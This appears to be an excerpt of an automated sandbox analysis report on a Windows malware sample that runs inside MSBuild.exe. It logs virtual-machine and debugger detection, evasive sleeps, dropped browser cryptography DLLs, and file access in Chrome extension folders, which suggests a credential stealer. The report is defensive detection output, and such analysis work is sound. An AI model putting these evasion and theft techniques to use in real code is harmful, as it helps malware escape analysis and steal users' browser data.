Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: 1lKbb2hF7fYToopfpmEvlyRN.exe PID: 7252, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: DBAAFIDGDA.exe PID: 7796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: DGDBKFBAKF.exe PID: 7880, type: MEMORYSTR
Query firmware table information (likely to detect VMs)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe System information queried: FirmwareTableInformation
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory allocated: 1860000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory allocated: 3320000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory allocated: 5320000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory allocated: 1570000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory allocated: 3160000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory allocated: 5160000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory allocated: 1E00000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory allocated: 38C0000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory allocated: 3740000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe API coverage: 6.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe TID: 7272 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe TID: 7816 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe TID: 7900 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7944 Thread sleep time: -90000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7952 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00401110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 1_2_004099F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 1_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 1_2_004156C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040C2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00415EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose, 1_2_00414F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040B390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00409D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 1_2_00415A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 1_2_0040AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040B4B4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_0040B4B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00413C66 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_00413C66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004138AA GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 6_2_004138AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00401157 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_00401157
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0041355A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 6_2_0041355A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004091E3 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_004091E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00409E5F wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 6_2_00409E5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040A6A6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_0040A6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00408EB5 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 6_2_00408EB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00412F4A wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,memset,lstrcatA,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose, 6_2_00412F4A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00409706 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 6_2_00409706
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004153C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 1_2_004153C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040FDA0 GetSystemInfo,wsprintfA, 1_2_0040FDA0
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp, gfn1go[1].exe.1.dr Binary or memory string: S7hEhQEMUyK2nV1tCWv
Source: jen1hg[1].exe.1.dr Binary or memory string: vmcihW1Oznu0Qe0UDAjh
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: gfn1go[1].exe.1.dr Binary or memory string: HVMCIK0u2FWt4eH4AxA
Source: DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp, gfn1go[1].exe.1.dr Binary or memory string: QGXs8qEMUZEVqKUAAURg
Source: DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp, gfn1go[1].exe.1.dr Binary or memory string: kDKjFkE8j8wxboYW6psS7hEhQEMUyK2nV1tCWvEREyKrExxTqlqqEIOftGYC89FEccyyWAuuJ2pX
Source: gfn1go[1].exe.1.dr Binary or memory string: HvMci1EIfwkyvh4lbQvX
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000E48000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(}
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001038000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001093000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2273918492.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2273918492.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001038000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001093000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWF
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000E48000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwarey
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process queried: DebugPort Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_0041D12F
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00402000 VirtualProtect 00000000,00000004,00000100,? 1_2_00402000
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00417A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 1_2_00417A40
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004176E0 mov eax, dword ptr fs:[00000030h] 1_2_004176E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004151E1 mov eax, dword ptr fs:[00000030h] 6_2_004151E1
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00402000 lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,GetProcessHeap,RtlAllocateHeap,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenA,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,VirtualProtect,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW, 1_2_00402000
Enables debug privileges
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process token adjusted: Debug Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process token adjusted: Debug Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041ECC8 SetUnhandledExceptionFilter, 1_2_0041ECC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_0041D12F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041CAF5 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_0041CAF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C59B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_6C59B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C59B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_6C59B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C74AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_6C74AC62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0041BDA8 SetUnhandledExceptionFilter, 6_2_0041BDA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0041A20F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 6_2_0041A20F
